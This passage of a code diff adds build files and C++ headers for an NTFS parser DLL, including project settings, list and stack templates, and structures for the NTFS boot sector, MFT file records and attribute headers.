<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>NotSet</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>NotSet</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="ReadMe.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="stdafx.h" />
|
||||
<ClInclude Include="targetver.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="dllmain.cpp">
|
||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
|
||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</CompileAsManaged>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
</PrecompiledHeader>
|
||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
|
||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</CompileAsManaged>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="NTFSParserDLL.cpp" />
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
|
|
@ -0,0 +1,39 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="ReadMe.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="stdafx.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="targetver.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="NTFSParserDLL.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="dllmain.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
|
|
@ -0,0 +1,317 @@
|
|||
/*
|
||||
* NTFS Class common definitions
|
||||
*
|
||||
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
|
||||
*
|
||||
* This program/include file is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License as published
|
||||
* by the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program/include file is distributed in the hope that it will be
|
||||
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
|
||||
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*/
|
||||
|
||||
#ifndef __NTFS_COMMON_H_CYB70289
|
||||
#define __NTFS_COMMON_H_CYB70289
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
#include <crtdbg.h>
|
||||
|
||||
#include "NTFS_DataType.h"
|
||||
|
||||
#define ATTR_NUMS 16 // Attribute Types count
|
||||
#define ATTR_INDEX(at) (((at)>>4)-1) // Attribute Type to Index, eg. 0x10->0, 0x30->2
|
||||
#define ATTR_MASK(at) (((DWORD)1)<<ATTR_INDEX(at)) // Attribute Bit Mask
|
||||
|
||||
// Bit masks of Attributes
|
||||
#define MASK_STANDARD_INFORMATION ATTR_MASK(ATTR_TYPE_STANDARD_INFORMATION)
|
||||
#define MASK_ATTRIBUTE_LIST ATTR_MASK(ATTR_TYPE_ATTRIBUTE_LIST)
|
||||
#define MASK_FILE_NAME ATTR_MASK(ATTR_TYPE_FILE_NAME)
|
||||
#define MASK_OBJECT_ID ATTR_MASK(ATTR_TYPE_OBJECT_ID)
|
||||
#define MASK_SECURITY_DESCRIPTOR ATTR_MASK(ATTR_TYPE_SECURITY_DESCRIPTOR)
|
||||
#define MASK_VOLUME_NAME ATTR_MASK(ATTR_TYPE_VOLUME_NAME)
|
||||
#define MASK_VOLUME_INFORMATION ATTR_MASK(ATTR_TYPE_VOLUME_INFORMATION)
|
||||
#define MASK_DATA ATTR_MASK(ATTR_TYPE_DATA)
|
||||
#define MASK_INDEX_ROOT ATTR_MASK(ATTR_TYPE_INDEX_ROOT)
|
||||
#define MASK_INDEX_ALLOCATION ATTR_MASK(ATTR_TYPE_INDEX_ALLOCATION)
|
||||
#define MASK_BITMAP ATTR_MASK(ATTR_TYPE_BITMAP)
|
||||
#define MASK_REPARSE_POINT ATTR_MASK(ATTR_TYPE_REPARSE_POINT)
|
||||
#define MASK_EA_INFORMATION ATTR_MASK(ATTR_TYPE_EA_INFORMATION)
|
||||
#define MASK_EA ATTR_MASK(ATTR_TYPE_EA)
|
||||
#define MASK_LOGGED_UTILITY_STREAM ATTR_MASK(ATTR_TYPE_LOGGED_UTILITY_STREAM)
|
||||
|
||||
#define MASK_ALL ((DWORD)-1)
|
||||
|
||||
#define NTFS_TRACE(t1) _RPT0(_CRT_WARN, t1)
|
||||
#define NTFS_TRACE1(t1, t2) _RPT1(_CRT_WARN, t1, t2)
|
||||
#define NTFS_TRACE2(t1, t2, t3) _RPT2(_CRT_WARN, t1, t2, t3)
|
||||
#define NTFS_TRACE3(t1, t2, t3, t4) _RPT3(_CRT_WARN, t1, t2, t3, t4)
|
||||
#define NTFS_TRACE4(t1, t2, t3, t4, t5) _RPT4(_CRT_WARN, t1, t2, t3, t4, t5)
|
||||
|
||||
// User defined Callback routines to process raw attribute data
|
||||
// Set bDiscard to TRUE if this Attribute is to be discarded
|
||||
// Set bDiscard to FALSE to let CFileRecord process it
|
||||
typedef void (*ATTR_RAW_CALLBACK)(const ATTR_HEADER_COMMON *attrHead, BOOL *bDiscard);
|
||||
|
||||
// User defined Callback routine to handle CFileRecord parsed attributes
|
||||
// Will be called by CFileRecord::TraverseAttrs() for each attribute
|
||||
// attrClass is the according attribute's wrapping class, CAttr_xxx
|
||||
// Set bStop to TRUE if don't want to continue
|
||||
// Set bStop to FALSE to continue processing
|
||||
class CAttrBase;
|
||||
typedef void (*ATTRS_CALLBACK)(const CAttrBase *attr, void *context, BOOL *bStop);
|
||||
|
||||
// User defined Callback routine to handle Directory traversing
|
||||
// Will be called by CFileRecord::TraverseSubEntries for each sub entry
|
||||
class CIndexEntry;
|
||||
typedef void (*SUBENTRY_CALLBACK)(const CIndexEntry *ie);
|
||||
|
||||
|
||||
// List Entry
|
||||
template <class ENTRY_TYPE>
|
||||
struct NTSLIST_ENTRY
|
||||
{
|
||||
NTSLIST_ENTRY *Next;
|
||||
ENTRY_TYPE *Entry;
|
||||
};
|
||||
|
||||
// List Entry Smart Pointer
|
||||
template <class ENTRY_TYPE>
|
||||
class CEntrySmartPtr
|
||||
{
|
||||
public:
|
||||
CEntrySmartPtr(ENTRY_TYPE *ptr = NULL)
|
||||
{
|
||||
EntryPtr = ptr;
|
||||
}
|
||||
|
||||
virtual ~CEntrySmartPtr()
|
||||
{
|
||||
if (EntryPtr)
|
||||
delete EntryPtr;
|
||||
}
|
||||
|
||||
private:
|
||||
const ENTRY_TYPE *EntryPtr;
|
||||
|
||||
public:
|
||||
__inline CEntrySmartPtr<ENTRY_TYPE> operator = (const ENTRY_TYPE* ptr)
|
||||
{
|
||||
// Delete previous pointer if allocated
|
||||
if (EntryPtr)
|
||||
delete EntryPtr;
|
||||
|
||||
EntryPtr = ptr;
|
||||
|
||||
return *this;
|
||||
}
|
||||
|
||||
__inline const ENTRY_TYPE* operator->() const
|
||||
{
|
||||
_ASSERT(EntryPtr);
|
||||
return EntryPtr;
|
||||
}
|
||||
|
||||
__inline BOOL IsValid() const
|
||||
{
|
||||
return EntryPtr != NULL;
|
||||
}
|
||||
};
|
||||
|
||||
//////////////////////////////////////
|
||||
// Single list implementation
|
||||
//////////////////////////////////////
|
||||
template <class ENTRY_TYPE>
|
||||
class CSList
|
||||
{
|
||||
public:
|
||||
CSList()
|
||||
{
|
||||
ListHead = ListTail = NULL;
|
||||
ListCurrent = NULL;
|
||||
EntryCount = 0;
|
||||
}
|
||||
|
||||
virtual ~CSList()
|
||||
{
|
||||
RemoveAll();
|
||||
}
|
||||
|
||||
private:
|
||||
int EntryCount;
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *ListHead;
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *ListTail;
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *ListCurrent;
|
||||
|
||||
public:
|
||||
// Get entry count
|
||||
__inline int GetCount() const
|
||||
{
|
||||
return EntryCount;
|
||||
}
|
||||
|
||||
// Insert to tail
|
||||
BOOL InsertEntry(ENTRY_TYPE *entry)
|
||||
{
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *le = new NTSLIST_ENTRY<ENTRY_TYPE>;
|
||||
if (!le)
|
||||
return FALSE;
|
||||
|
||||
le->Entry = entry;
|
||||
le->Next = NULL;
|
||||
|
||||
if (ListTail == NULL)
|
||||
ListHead = le; // Empty list
|
||||
else
|
||||
ListTail->Next = le;
|
||||
|
||||
ListTail = le;
|
||||
|
||||
EntryCount++;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Remove all entries
|
||||
void RemoveAll()
|
||||
{
|
||||
while (ListHead)
|
||||
{
|
||||
ListCurrent = ListHead->Next;
|
||||
delete ListHead->Entry;
|
||||
delete ListHead;
|
||||
|
||||
ListHead = ListCurrent;
|
||||
}
|
||||
|
||||
ListHead = ListTail = NULL;
|
||||
ListCurrent = NULL;
|
||||
EntryCount = 0;
|
||||
}
|
||||
|
||||
// Find first entry
|
||||
__inline ENTRY_TYPE *FindFirstEntry() const
|
||||
{
|
||||
((CSList<ENTRY_TYPE>*)this)->ListCurrent = ListHead;
|
||||
|
||||
if (ListCurrent)
|
||||
return ListCurrent->Entry;
|
||||
else
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Find next entry
|
||||
__inline ENTRY_TYPE *FindNextEntry() const
|
||||
{
|
||||
if (ListCurrent)
|
||||
((CSList<ENTRY_TYPE>*)this)->ListCurrent = ListCurrent->Next;
|
||||
|
||||
if (ListCurrent)
|
||||
return ListCurrent->Entry;
|
||||
else
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Throw all entries
|
||||
// Caution! All entries are just thrown without free
|
||||
__inline void ThrowAll()
|
||||
{
|
||||
ListHead = ListTail = NULL;
|
||||
ListCurrent = NULL;
|
||||
EntryCount = 0;
|
||||
}
|
||||
}; //CSList
|
||||
|
||||
|
||||
//////////////////////////////////////
|
||||
// Stack implementation
|
||||
//////////////////////////////////////
|
||||
template <class ENTRY_TYPE>
|
||||
class CStack
|
||||
{
|
||||
public:
|
||||
CStack()
|
||||
{
|
||||
ListHead = ListTail = NULL;
|
||||
EntryCount = 0;
|
||||
}
|
||||
|
||||
virtual ~CStack()
|
||||
{
|
||||
RemoveAll();
|
||||
}
|
||||
|
||||
private:
|
||||
int EntryCount;
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *ListHead;
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *ListTail;
|
||||
|
||||
public:
|
||||
// Get entry count
|
||||
__inline int GetCount() const
|
||||
{
|
||||
return EntryCount;
|
||||
}
|
||||
|
||||
// Insert to head
|
||||
BOOL Push(ENTRY_TYPE *entry)
|
||||
{
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *le = new NTSLIST_ENTRY<ENTRY_TYPE>;
|
||||
if (!le)
|
||||
return FALSE;
|
||||
|
||||
le->Entry = entry;
|
||||
le->Next = ListHead;
|
||||
|
||||
ListHead = le;
|
||||
|
||||
if (ListTail == NULL)
|
||||
ListTail = le; // Empty list
|
||||
|
||||
EntryCount ++;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Remove from head
|
||||
ENTRY_TYPE* Pop()
|
||||
{
|
||||
if (ListHead == NULL)
|
||||
return NULL;
|
||||
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *le = ListHead;
|
||||
ENTRY_TYPE *e = le->Entry;
|
||||
|
||||
if (ListTail == ListHead)
|
||||
ListTail = ListHead->Next;
|
||||
ListHead = ListHead->Next;
|
||||
|
||||
delete le;
|
||||
EntryCount --;
|
||||
|
||||
return e;
|
||||
}
|
||||
|
||||
// Remove all entries
|
||||
void RemoveAll()
|
||||
{
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *le;
|
||||
|
||||
while (ListHead)
|
||||
{
|
||||
le = ListHead->Next;
|
||||
delete ListHead->Entry;
|
||||
delete ListHead;
|
||||
|
||||
ListHead = le;
|
||||
}
|
||||
|
||||
ListHead = ListTail = NULL;
|
||||
EntryCount = 0;
|
||||
}
|
||||
}; //CStack
|
||||
|
||||
#endif
|
||||
|
|
@ -0,0 +1,380 @@
|
|||
/*
|
||||
* NTFS data structures and definitions
|
||||
*
|
||||
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
|
||||
*
|
||||
* This program/include file is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License as published
|
||||
* by the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program/include file is distributed in the hope that it will be
|
||||
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
|
||||
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*/
|
||||
|
||||
#ifndef __NTFS_DATATYPE_H_CYB70289
|
||||
#define __NTFS_DATATYPE_H_CYB70289
|
||||
|
||||
// NTFS Boot Sector BPB
|
||||
|
||||
#define NTFS_SIGNATURE "NTFS "
|
||||
|
||||
#pragma pack(1)
|
||||
typedef struct tagNTFS_BPB
|
||||
{
|
||||
// jump instruction
|
||||
BYTE Jmp[3];
|
||||
|
||||
// signature
|
||||
BYTE Signature[8];
|
||||
|
||||
// BPB and extended BPB
|
||||
WORD BytesPerSector;
|
||||
BYTE SectorsPerCluster;
|
||||
WORD ReservedSectors;
|
||||
BYTE Zeros1[3];
|
||||
WORD NotUsed1;
|
||||
BYTE MediaDescriptor;
|
||||
WORD Zeros2;
|
||||
WORD SectorsPerTrack;
|
||||
WORD NumberOfHeads;
|
||||
DWORD HiddenSectors;
|
||||
DWORD NotUsed2;
|
||||
DWORD NotUsed3;
|
||||
ULONGLONG TotalSectors;
|
||||
ULONGLONG LCN_MFT;
|
||||
ULONGLONG LCN_MFTMirr;
|
||||
DWORD ClustersPerFileRecord;
|
||||
DWORD ClustersPerIndexBlock;
|
||||
BYTE VolumeSN[8];
|
||||
|
||||
// boot code
|
||||
BYTE Code[430];
|
||||
|
||||
//0xAA55
|
||||
BYTE _AA;
|
||||
BYTE _55;
|
||||
} NTFS_BPB;
|
||||
#pragma pack()
|
||||
|
||||
|
||||
// MFT Indexes
|
||||
#define MFT_IDX_MFT 0
|
||||
#define MFT_IDX_MFT_MIRR 1
|
||||
#define MFT_IDX_LOG_FILE 2
|
||||
#define MFT_IDX_VOLUME 3
|
||||
#define MFT_IDX_ATTR_DEF 4
|
||||
#define MFT_IDX_ROOT 5
|
||||
#define MFT_IDX_BITMAP 6
|
||||
#define MFT_IDX_BOOT 7
|
||||
#define MFT_IDX_BAD_CLUSTER 8
|
||||
#define MFT_IDX_SECURE 9
|
||||
#define MFT_IDX_UPCASE 10
|
||||
#define MFT_IDX_EXTEND 11
|
||||
#define MFT_IDX_RESERVED12 12
|
||||
#define MFT_IDX_RESERVED13 13
|
||||
#define MFT_IDX_RESERVED14 14
|
||||
#define MFT_IDX_RESERVED15 15
|
||||
#define MFT_IDX_USER 16
|
||||
|
||||
|
||||
/******************************
|
||||
File Record
|
||||
---------------------
|
||||
| File Record Header|
|
||||
---------------------
|
||||
| Attribute 1 |
|
||||
---------------------
|
||||
| Attribute 2 |
|
||||
---------------------
|
||||
| ...... |
|
||||
---------------------
|
||||
| 0xFFFFFFFF |
|
||||
---------------------
|
||||
*******************************/
|
||||
|
||||
// File Record Header
|
||||
|
||||
#define FILE_RECORD_MAGIC 'ELIF'
|
||||
#define FILE_RECORD_FLAG_INUSE 0x01 // File record is in use
|
||||
#define FILE_RECORD_FLAG_DIR 0x02 // File record is a directory
|
||||
|
||||
typedef struct tagFILE_RECORD_HEADER
|
||||
{
|
||||
DWORD Magic; // "FILE"
|
||||
WORD OffsetOfUS; // Offset of Update Sequence
|
||||
WORD SizeOfUS; // Size in words of Update Sequence Number & Array
|
||||
ULONGLONG LSN; // $LogFile Sequence Number
|
||||
WORD SeqNo; // Sequence number
|
||||
WORD Hardlinks; // Hard link count
|
||||
WORD OffsetOfAttr; // Offset of the first Attribute
|
||||
WORD Flags; // Flags
|
||||
DWORD RealSize; // Real size of the FILE record
|
||||
DWORD AllocSize; // Allocated size of the FILE record
|
||||
ULONGLONG RefToBase; // File reference to the base FILE record
|
||||
WORD NextAttrId; // Next Attribute Id
|
||||
WORD Align; // Align to 4 byte boundary
|
||||
DWORD RecordNo; // Number of this MFT Record
|
||||
} FILE_RECORD_HEADER;
|
||||
|
||||
|
||||
/******************************
|
||||
Attribute
|
||||
--------------------
|
||||
| Attribute Header |
|
||||
--------------------
|
||||
| Attribute Data |
|
||||
--------------------
|
||||
*******************************/
|
||||
|
||||
// Attribute Header
|
||||
|
||||
#define ATTR_TYPE_STANDARD_INFORMATION 0x10
|
||||
#define ATTR_TYPE_ATTRIBUTE_LIST 0x20
|
||||
#define ATTR_TYPE_FILE_NAME 0x30
|
||||
#define ATTR_TYPE_OBJECT_ID 0x40
|
||||
#define ATTR_TYPE_SECURITY_DESCRIPTOR 0x50
|
||||
#define ATTR_TYPE_VOLUME_NAME 0x60
|
||||
#define ATTR_TYPE_VOLUME_INFORMATION 0x70
|
||||
#define ATTR_TYPE_DATA 0x80
|
||||
#define ATTR_TYPE_INDEX_ROOT 0x90
|
||||
#define ATTR_TYPE_INDEX_ALLOCATION 0xA0
|
||||
#define ATTR_TYPE_BITMAP 0xB0
|
||||
#define ATTR_TYPE_REPARSE_POINT 0xC0
|
||||
#define ATTR_TYPE_EA_INFORMATION 0xD0
|
||||
#define ATTR_TYPE_EA 0xE0
|
||||
#define ATTR_TYPE_LOGGED_UTILITY_STREAM 0x100
|
||||
|
||||
#define ATTR_FLAG_COMPRESSED 0x0001
|
||||
#define ATTR_FLAG_ENCRYPTED 0x4000
|
||||
#define ATTR_FLAG_SPARSE 0x8000
|
||||
|
||||
typedef struct tagATTR_HEADER_COMMON
|
||||
{
|
||||
DWORD Type; // Attribute Type
|
||||
DWORD TotalSize; // Length (including this header)
|
||||
BYTE NonResident; // 0 - resident, 1 - non resident
|
||||
BYTE NameLength; // name length in words
|
||||
WORD NameOffset; // offset to the name
|
||||
WORD Flags; // Flags
|
||||
WORD Id; // Attribute Id
|
||||
} ATTR_HEADER_COMMON;
|
||||
|
||||
typedef struct tagATTR_HEADER_RESIDENT
|
||||
{
|
||||
ATTR_HEADER_COMMON Header; // Common data structure
|
||||
DWORD AttrSize; // Length of the attribute body
|
||||
WORD AttrOffset; // Offset to the Attribute
|
||||
BYTE IndexedFlag; // Indexed flag
|
||||
BYTE Padding; // Padding
|
||||
} ATTR_HEADER_RESIDENT;
|
||||
|
||||
typedef struct tagATTR_HEADER_NON_RESIDENT
|
||||
{
|
||||
ATTR_HEADER_COMMON Header; // Common data structure
|
||||
ULONGLONG StartVCN; // Starting VCN
|
||||
ULONGLONG LastVCN; // Last VCN
|
||||
WORD DataRunOffset; // Offset to the Data Runs
|
||||
WORD CompUnitSize; // Compression unit size
|
||||
DWORD Padding; // Padding
|
||||
ULONGLONG AllocSize; // Allocated size of the attribute
|
||||
ULONGLONG RealSize; // Real size of the attribute
|
||||
ULONGLONG IniSize; // Initialized data size of the stream
|
||||
} ATTR_HEADER_NON_RESIDENT;
|
||||
|
||||
|
||||
// Attribute: STANDARD_INFORMATION
|
||||
|
||||
#define ATTR_STDINFO_PERMISSION_READONLY 0x00000001
|
||||
#define ATTR_STDINFO_PERMISSION_HIDDEN 0x00000002
|
||||
#define ATTR_STDINFO_PERMISSION_SYSTEM 0x00000004
|
||||
#define ATTR_STDINFO_PERMISSION_ARCHIVE 0x00000020
|
||||
#define ATTR_STDINFO_PERMISSION_DEVICE 0x00000040
|
||||
#define ATTR_STDINFO_PERMISSION_NORMAL 0x00000080
|
||||
#define ATTR_STDINFO_PERMISSION_TEMP 0x00000100
|
||||
#define ATTR_STDINFO_PERMISSION_SPARSE 0x00000200
|
||||
#define ATTR_STDINFO_PERMISSION_REPARSE 0x00000400
|
||||
#define ATTR_STDINFO_PERMISSION_COMPRESSED 0x00000800
|
||||
#define ATTR_STDINFO_PERMISSION_OFFLINE 0x00001000
|
||||
#define ATTR_STDINFO_PERMISSION_NCI 0x00002000
|
||||
#define ATTR_STDINFO_PERMISSION_ENCRYPTED 0x00004000
|
||||
|
||||
typedef struct tagATTR_STANDARD_INFORMATION
|
||||
{
|
||||
ULONGLONG CreateTime; // File creation time
|
||||
ULONGLONG AlterTime; // File altered time
|
||||
ULONGLONG MFTTime; // MFT changed time
|
||||
ULONGLONG ReadTime; // File read time
|
||||
DWORD Permission; // Dos file permission
|
||||
DWORD MaxVersionNo; // Maxim number of file versions
|
||||
DWORD VersionNo; // File version number
|
||||
DWORD ClassId; // Class Id
|
||||
DWORD OwnerId; // Owner Id
|
||||
DWORD SecurityId; // Security Id
|
||||
ULONGLONG QuotaCharged; // Quota charged
|
||||
ULONGLONG USN; // USN Journel
|
||||
